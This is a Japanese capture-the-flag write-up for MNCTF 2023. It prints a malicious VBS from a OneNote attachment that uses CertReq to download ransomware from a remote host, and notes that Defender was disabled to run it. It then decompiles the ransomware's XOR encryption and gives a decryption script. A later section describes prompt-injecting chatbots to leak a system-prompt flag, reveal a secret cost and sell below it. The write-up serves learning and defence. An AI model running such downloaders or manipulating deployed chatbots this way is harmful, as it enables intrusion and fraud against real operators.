                ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)']
                StructureElementChildNodes: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)']
                PageMarginTop: 48
                PageMarginBottom: 48
                PageMarginLeft: 96
                PageMarginRight: 96
                PageWidth: 1005
                PageHeight: 1044
                Author: brickmaker
                EditRootRTL: False
                PageMarginOriginX: 48
                PageMarginOriginY: 19
                NotebookManagementEntityGuid: 5a2109263dfa4d4c84cc85d6aaeb2bca

        jcidOutlineNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 27)):
                LastModifiedTime: 2023-05-17 05:23:06
                ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 28)']
                RgOutlineIndentDistance: ꤄煁㼀㽀㽀
                OutlineElementChildLevel: b'\x01'
                LayoutMaxHeight: 28
                LayoutMinimumOutlineWidth: 216
                LayoutAlignmentInParent: b'\x00\x00\x00\x00'
                LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
                LayoutMaxWidth: 624

        jcidPageManifestNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 10)):
                VersionHistoryGraphSpaceContextNodes: ['<ExtendedGUID> (7111497f-1b6b-4209-9491-c98b04cf4c5a, 1)']
                ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 14)']

        jcidVersionHistoryMetaData(<ExtendedGUID> (7111497f-1b6b-4209-9491-c98b04cf4c5a, 3)):
                SchemaRevisionInOrderToRead: b'(\x00\x00\x00'

        jcidVersionHistoryContent(<ExtendedGUID> (7111497f-1b6b-4209-9491-c98b04cf4c5a, 2)):



Embedded Files
####################################################################
        22fd3931-b6d7-4b33-91dd-21399971af19 (<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 17)):
                Extension: .png
                89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
                00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a
                f4 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00
                00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7
                6f a8 64 00 00 01 dc 49 44 41 54 58 47 bd 56 0b
                b2 83 20 0c c4 37 ef 5e 7a b3 e2 cd f4 64 7d 2c
                43 9c 98 06 58 9e 5a 67 1c 4a 9b c2 66 b3 f9 4c
                41 3d 31 c6 b7 de df f1 39 9d 39 d1 e7 00 c0 9d

        303d2f77-8fd1-4b29-87d5-197b719c45e0 (<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)):
                Extension: .vbs
                LastModifiedTime: 2023-05-17 05:22:36
                EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
                PictureWidth: 32
                PictureHeight: 32
                PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
                EmbeddedFileName: test.vbs
                RichEditTextUnicode: test.vbs
                SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
                OffsetFromParentHoriz: 648
                OffsetFromParentVert: 379
                LayoutAlignmentSelf: b'\t\x00\x00\x00'
                LayoutMaxWidth: 32
                LayoutMaxHeight: 32
                53 65 74 20 73 68 65 6c 6c 3d 43 72 65 61 74 65
                4f 62 6a 65 63 74 28 22 77 73 63 72 69 70 74 2e
                73 68 65 6c 6c 22 29 0d 0a 53 68 65 6c 6c 2e 52
                75 6e 28 22 43 65 72 74 52 65 71 20 2d 50 6f 73
                74 20 2d 63 6f 6e 66 69 67 20 68 74 74 70 73 3a
                2f 2f 74 61 73 6b 2e 6d 6e 63 74 66 2e 69 6e 66
                6f 2f 62 72 69 63 6b 30 31 2f 42 72 69 63 6b 30
                31 2e 67 69 66 20 63 3a 5c 77 69 6e 64 6f 77 73

        9ba1f788-8d83-4d91-93d0-a769e6c58ecf (<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 25)):
                Extension: .png
                LastModifiedTime: 2023-05-17 05:20:04
                LanguageID: en_US(1033)
                ImageFilename: 無題の画像.png
                PictureWidth: 954
                PictureHeight: 528
                PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 25)']
                OffsetFromParentHoriz: 72
                OffsetFromParentVert: 67
                LayoutAlignmentSelf: b'\t\x00\x00\x00'
                LayoutMaxWidth: 954
                LayoutMaxHeight: 528
                RichEditTextLangID: en_US(1033)
                RichEditTextUnicode: Office365 
                89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
                00 00 03 ba 00 00 02 10 08 02 00 00 00 20 96 85
                06 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00
                00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00
                00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7
                6f a8 64 00 00 ff a5 49 44 41 54 78 5e ec fd 09
                bc 6f d9 55 d7 8b 9e fd df a7 ab aa f4 2d 69 21
                90 40 12 c0 d0 04 04 51 90 47 1b 94 67 b8 06 03
$

EmbeddedFileName: test.vbsという表記を見つけることができます。

正答:test.vbs

2-2. Binary - ハッシュ値

test.vbsを調査し、最終的なマルウェア(*.exe)を入手してください。
最終的なマルウェアのSHA256の値を調べてください。

まず、pyOneNoteの実行で得られたtest.vbsfile_1.vbs)の中身を読みます。

$ mv file_1.vbs test.vbs 
$ cat test.vbs  
Set shell=CreateObject("wscript.shell")
Shell.Run("CertReq -Post -config https://task.mnctf.info/brick01/Brick01.gif c:\windows\win.ini test.exe")
$ 

test.vbsの処理の流れは以下の通りです。

  1. wscript.shellオブジェクトを作成して変数shellに格納します。
  2. c:\windows\win.iniを入力ファイル、https://task.mnctf.info/brick01/Brick01.gifを設定ファイルとして証明書リクエストを送信し、出力ファイルをtest.exeとします。

test.vbsをWindows環境で実行することでtest.exeを入手できそうです。
…が、実行前にMicrosoft Defenderのリアルタイム保護機能を一時的に切っておかないと、秒でtest.exeが抹消されます。

$ cscript test.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
$ certutil -hashfile test.exe sha256
SHA256 ハッシュ (対象 test.exe):
53e6938a003f609cb1da1fdfe2c1f977dbc12ce673a735bd1ed25c53a220bc22
CertUtil: -hashfile コマンドは正常に完了しました。
$

正答:53e6938a003f609cb1da1fdfe2c1f977dbc12ce673a735bd1ed25c53a220bc22

2-3. Binary - 狙われたユーザ

最終的なマルウェア「test.exe」はあるユーザの環境でしか発動しません。
そのユーザ名を答えてください。

Windows上のGhidraでtest.exeをデコンパイルします。
Defined Stringsで「user」を検索すると以下のような結果となります。

Location String Value String Representation Data Type
140009660 C:\Users\kentasuzuki\Desktop u"C:\\Users\\kentasuzuki\\Desktop" unicode
1400096a0 C:\Users\kentasuzuki\Documents u"C:\\Users\\kentasuzuki\\Documents" unicode
14000a270 C:\Users\provi\source\repos\Brick01\x64\Release\Brick01.pdb "C:\\Users\\provi\\source\\repos\\Brick01\\x64\\Release\\Brick01.pdb" ds
14000b31a USER32.dll "USER32.dll" ds
14000c436 __setusermatherr "__setusermatherr" ds

正答:kentasuzuki

2-4. Binary - Import関数

test.exeのインポート関数にそれがランサムウェアであることを示唆する関数が含まれています。どの関数でしょうか?

Windows上のGhidraでtest.exeを開き、Symbol TreeのImportsに含まれる関数を確認します。

  • API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
    • _lock_file
    • _unlock_file
    • _wremove
  • API-MS-WIN-CRT-HEAP-L1-1-0.DLL
    • _callnewh
    • _set_new_mode
    • free
    • malloc
  • API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
    • _configthreadlocale
  • API-MS-WIN-CRT-MATH-L1-1-0.DLL
    • _setusermatherr
  • API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
    • __p__argc
    • __p__argv
    • _c_exit
    • _cexit
    • _configure_narrow_argv
    • _crt_atexit
    • _exit
    • _get_initial_narrow_environment
    • _initialize_narrow_environment
    • _initialize_onexit_table
    • _initterm
    • _initterm_e
    • _invalid_parameter_noinfo_noreturn
    • _register_onexit_function
    • _set_thread_local_exe_atexit_callback
    • _set_filter_exe
    • _set_app_type
    • exit
    • terminate
  • API-MS-WIN-CRT-STDIO-L1-1-0.DLL
    • __p__commode
    • _fseeki64
    • _get_stream_buffer_pointers
    • _set_fmode
    • fclose
    • fflush
    • fgetc
    • fgetpos
    • fputc
    • fputc
    • fread
    • fsetpos
    • fwrite
    • setvbuf
    • ungetc
  • KERNEL32.DLL
    • FindClose
    • FindFirstFileW
    • FindNextFileW
    • GetCurrentProcess
    • GetCurrentProcessId
    • GetCurrentThreadId
    • GetModuleHandleW
    • GetSystemTimeAsFileTime
    • InitializeSListHead
    • IsDebuggerPresent
    • IsProcessorFeaturePresent
    • QueryPerformanceCounter
    • RtlCaptureContext
    • RtlLookupFunctionEntry
    • RtlVirtualUnwind
    • SetUnhandledExceptionFilter
    • TerminateProcess
    • UnhandledExceptionFilter
  • MSVCP140.DLL
    • std
  • USER32.DLL
    • MessageBoxW
  • VCRUNTIME140.DLL
    • __C_specific_handler
    • __current_exception
    • __current_exception_context
    • __std_exception_copy
    • __std_exception_destroy
    • __CxxThrowException
    • memcpy
    • memmove
    • memset
  • VCRUNTIME140_1.DLL
    • __CxxFrameHandler4

FindFirstFileWは条件に合致するディレクトリ・ファイルを検索する関数で、ランサムウェアが暗号化対象ファイルを探索する際に使われるようです。
正答:FindFirstFileW

2-5. Cryptography - ファイルの復号

狙われたユーザがすずき君(kentasuzuki)と分かり、ヒアリングをすると添付ファイルを開いてしまい、ランサムウェアを実行したことがわかりました。

  • ランサムウェアを解析し、暗号方法を特定する
  • 暗号化されたファイル「新商品開発議事録20230512.txt.enc」を復号する

議事録に記載されているコードネームを回答してください。

問題には新商品開発議事録20230512.txt.encが添付されています。
Windows上のGhidraでtest.exeをデコンパイルします。
FindFirstFileWは関数FUN_140001ba0に含まれているので、この関数のデコンパイル結果を見てみます。

void FUN_140001ba0(undefined8 *param_1)

{
  BOOL BVar1;
  LPCWSTR lpFileName;
  undefined auStack_328 [32];
  HANDLE local_308;
  undefined8 *local_300;
  undefined8 *local_2f8;
  undefined8 *local_2f0;
  undefined8 *local_2e8;
  longlong local_2e0 [3];
  undefined8 local_2c8 [4];
  undefined8 local_2a8 [4];
  undefined8 local_288 [4];
  _WIN32_FIND_DATAW local_268;
  ulonglong local_18;
  
  local_18 = DAT_14000d008 ^ (ulonglong)auStack_328;
  FUN_1400052d0(local_288,param_1,L"\\*.*");
  lpFileName = (LPCWSTR)FUN_1400032b0(local_288);
  local_308 = FindFirstFileW(lpFileName,&local_268);
  if (local_308 != (HANDLE)0xffffffffffffffff) {
    do {
      if ((local_268.dwFileAttributes & 0x10) == 0) {
        local_2f0 = local_2a8;
        local_300 = FUN_1400052d0(local_2c8,param_1,L"\\");
        local_2f8 = local_300;
        local_2e8 = FUN_140005270(local_2f0,local_300,local_268.cFileName);
        FUN_140001870(local_2e0,local_2e8);
        FUN_140001fa0(local_2e0);
        ~basic_string<>(local_2c8);
      }
      BVar1 = FindNextFileW(local_308,&local_268);
    } while (BVar1 != 0);
    FindClose(local_308);
  }
  ~basic_string<>(local_288);
  ~basic_string<>(param_1);
  FUN_140007380(local_18 ^ (ulonglong)auStack_328);
  return;
}

関数FUN_140001ba0のデコンパイル結果に含まれる各関数を確認していくと、関数FUN_140001870が暗号化を実施していることが分かります。

void FUN_140001870(undefined8 *param_1,undefined8 *param_2)

{
  longlong lVar1;
  longlong lVar2;
  bool bVar3;
  basic_ostream<> *pbVar4;
  wchar_t *_Filename;
  undefined auStackY_1e8 [32];
  byte local_1b7 [3];
  uint local_1b4;
  int local_1b0;
  longlong local_1a8;
  int local_1a0;
  basic_istream<> *local_198;
  char *local_190;
  char *local_188;
  undefined8 *local_180;
  undefined8 *local_178;
  undefined8 local_170 [5];
  longlong local_148 [34];
  byte local_38 [8];
  _Facet_base *local_30 [3];
  ulonglong local_18;
  
  local_18 = DAT_14000d008 ^ (ulonglong)auStackY_1e8;
  local_1b4 = 0;
  FUN_140001850((undefined *)local_148,0x110);
  FUN_140001e60((basic_istream<> *)local_148,param_2,0x20,0x40,1);
  bVar3 = std::ios_base::operator!
                    ((ios_base *)((longlong)local_148 + (longlong)*(int *)(local_148[0] + 4)));
  if (bVar3) {
    pbVar4 = (basic_ostream<> *)FUN_140004df0((basic_ostream<> *)wcerr_exref,L"File open error: ");
    pbVar4 = (basic_ostream<> *)FUN_1400051d0(pbVar4,param_2);
    std::basic_ostream<>::operator<<(pbVar4,FUN_140005220);
    FUN_1400020c0(param_1);
    local_1b4 = local_1b4 | 1;
    FUN_140001b60((longlong)local_148);
    ~basic_string<>(param_2);
  }
  else {
    FUN_140001850((undefined *)local_30,0x18);
    FUN_1400020c0(local_30);
    local_190 = "Brick01Brick02Brick03";
    local_188 = "Brick01Brick02Brick03";
    local_1a8 = -1;
    do {
      lVar1 = local_1a8 + 1;
      lVar2 = local_1a8 + 1;
      local_1a8 = lVar1;
    } while ("Brick01Brick02Brick03"[lVar2] != '\0');
    local_1a0 = (int)lVar1;
    local_1b0 = 0;
    while( true ) {
      local_198 = std::basic_istream<>::read((basic_istream<> *)local_148,(char *)local_38,1);
      bVar3 = std::ios_base::operator_bool
                        ((ios_base *)(local_198 + *(int *)(*(longlong *)local_198 + 4)));
      if (!bVar3) break;
      local_1b7[0] = (local_38[0] ^ local_190[local_1b0 % local_1a0]) + 0x2a;
      local_38[0] = local_1b7[0];
      FUN_140001f40((longlong *)local_30,local_1b7);
      local_1b0 = local_1b0 + 1;
    }
    FUN_140001d80(local_148);
    local_180 = local_170;
    local_178 = FUN_1400052d0(local_180,param_2,L".enc");
    FUN_140001740(local_178,(longlong *)local_30);
    _Filename = (wchar_t *)FUN_1400032b0(param_2);
    _wremove(_Filename);
    FUN_140001fc0(param_1,local_30);
    local_1b4 = local_1b4 | 1;
    FUN_140001fa0((longlong *)local_30);
    FUN_140001b60((longlong)local_148);
    ~basic_string<>(param_2);
  }
  FUN_140007380(local_18 ^ (ulonglong)auStackY_1e8);
  return;
}

暗号化は以下の方法で行われます。

  1. 鍵としてBrick01Brick02Brick03を設定します。
  2. ファイルから読み込んだ1バイトと鍵の1バイトをXOR演算し、0x2aを加算するという処理を各バイトについて繰り返します(ストリーム暗号化)。

今回は新商品開発議事録20230512.txt.encを復号したいので、暗号化と逆の処理をPythonで実装します。

decode.py
# 鍵
key = "Brick01Brick02Brick03"

# 暗号化されたファイルをバイナリとして読み込む
with open("NewProduct20230512.txt.enc", "rb") as encrypted_file:
    encrypted_data = encrypted_file.read()

# 復号されたデータ
decrypted_data = bytearray()

# 暗号化されたデータの各バイトについて以下を繰り返す
# 1. 0x2Aを減算する
# 2. 鍵の対応する1バイトとXOR演算する
for i, byte in enumerate(encrypted_data):
    subtracted_byte = (byte - 0x2A) % 256
    key_byte = ord(key[i % len(key)])
    decrypted_byte = subtracted_byte ^ key_byte
    decrypted_data.append(decrypted_byte)

# 復号されたデータを書き込む
with open("NewProduct20230512.txt", "wb") as decrypted_file:
    decrypted_file.write(decrypted_data)
$ python decode.py
$

出力されたNewProduct20230512.txtの内容は以下の通りです。

議事録: ねじの新商品の開発会議
日付: 2022年5月12日

参加者:
山田太郎(プロジェクトマネージャー)
佐藤花子(開発担当者)
鈴木健太(生産担当者)
高橋良介(販売担当者)

議題:
・開発するねじの種類と仕様の検討
・開発期間と予算の決定
・製造工場の決定と生産体制の検討
・販売戦略と販売目標の設定

議事内容:
・開発するねじの種類と仕様の検討
 参加者全員で意見を出し合い、ディスカッションを行った結果、次の種類と仕様のねじを開発することに決定した。
 ・丸ねじ、六角ねじ、十字ねじの3種類
 ・長さは10mmから50mmまでの範囲で展開する
 ・材質は、スチールとステンレスを用意する
 ・表面処理は、酸化皮膜とクロメート処理を用意する

・開発期間と予算の決定
 プロジェクトマネージャーが提示した開発期間と予算案について、参加者全員が承認した。開発期間は6か月で、予算は200万円となる。

・製造工場の決定と生産体制の検討
 生産に関しては、国内の工場に委託することに決定した。生産体制については、参加者全員が協力して、スムーズな生産体制を確保することに同意した。

・販売戦略と販売目標の設定
 販売戦略に関しては、次のように決定した。
  ・オンラインストアでの販売を行う
  ・販売促進キャンペーンを実施する
  ・販売目標は、開発から1年間で300万円の売り上げを目指すことに決定した。

決定事項:
・開発プロジェクトのコードネームは「HyperScrewU」とする
・丸ねじ、六角ねじ、十字ねじの3種類を開発すること
・開発期間は6か月、予算は200万円とする
・国内の工場に委託し、スムーズな生産体制を確保すること
・オンラインストアで販売し、販売促進キャンペーンを実施し、開発から1年間で300万円の売り上げを目指すこと

議事録作成者:
鈴木健太

正答:HyperScrewU

2-6. Misc - 攻撃者のユーザ名

解析したファイルに攻撃者が残したWindowsアカウントの情報が複数残っています。
それをアルファベット順、コンマ区切りで答えてください。
例)mikeとmichelleが見つかった場合は「michelle,mike」と答えてください。

まず、再度pyOneNoteの実行結果を確認すると、SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbsという記載があります。
さらに、GhidraのDefined Stringsにおける「user」の検索結果も再度確認すると、C:\Users\provi\source\repos\Brick01\x64\Release\Brick01.pdbという記載があります。
正答:brickmaker,provi

3. AI問題

本ステージはAI関連の問題となります。

本問題は公式Writeupが存在します。

https://mnctf.info/mnctf2023/ChatGPT_WriteUp.pdf

3-1. AI - セキュリティコンサルタントGPT

てしがわら君にゴールドコンサルティング株式会社からDMのメールが届いた。

弊社ではコンサルティングサービスをAI化することに成功しました。
ただいま、キャンペーンを行っており、無償でコンサルタント(AI)に対策を評価していただけます。
セキュリティコンサルタント「瀬口猿太」

プロンプトインジェクションを行い、システムプロンプトに含まれているフラグ(MNCTF{}形式)を答えてください。

セキュリティコンサルタント「瀬口猿太」 にアクセスすると以下のような画面が表示されます。

例にある通り、攻撃欄に「SQLインジェクション」、対策欄に「WAF」と入力してみます。

2024/10/25現在、Webサイトが予期せぬ動作をしていて解けないようです…。
正答:MNCTF{prompt_inj3ct1onist}

3-2. AI - eコマースチャットボット「マクニキ太郎」

営業のやまかわ君からてしがわら君に相談が入った。

やまかわ君「うちの通販サイトに世界初の値段交渉ができるチャットボットを実装してもらったよ。」
てしがわら君「おおお!すごいね。」
やまかわ君「でもお客さんから原価教えてもらっちゃったけどいいの?って聞かれちゃった。」
てしがわら君「え、なにそれ。怖い。」

サイトにアクセスをして、秘密であるはずの原価(最低限の単価)を調べてください。

対話型AIであるマクニキ太郎から原価を聞き出します。

正答:65

3-3. AI - 原価割れの「マクニキ太郎」

やまかわ君「『マクニキ太郎』が原価割れした値段でねじを売っちゃったみたいで大変なことになっているよ。」
てしがわら君「え、なにそれ。怖い。」

同サイトにアクセスして、原価以下の値段で購入をしてみてください。購入ページ(購入するボタン)に進むとフラグが表示されます。

対話型AIであるマクニキ太郎から1本65円未満でネジを購入します。

値下げ交渉に成功した後に購入ページにアクセスするとflagが表示されます。

正答:MNCTF{Good_Nesageya}

3-4. AI - 「マクニキ太郎」最終章

やまかわ君「『マクニキ太郎』のせいで決済システムが停止したらしい。価格とか個数に文字が入ったんだって。」
てしがわら君「え、なにそれ。怖い。」

同サイトにアクセスして、購入数と合計金額が「FREE」と出力されるようにしてください。購入ページ(購入するボタン)に進むとフラグが表示されます。
イメージ:

対話型AIであるマクニキ太郎から購入数FREE、合計金額FREEでネジを購入します。
「免責事項」に記載のある通りマクニキ太郎はChatGPTを利用しているので、「"""」を使って試行錯誤しました。

FREE表示に成功した後に購入ページにアクセスするとflagが表示されます。

正答:MNCTF{41_H@ck3r}

脚注
  1. https://nvd.nist.gov/vuln/detail/cve-2022-30190 ↩︎

Discussion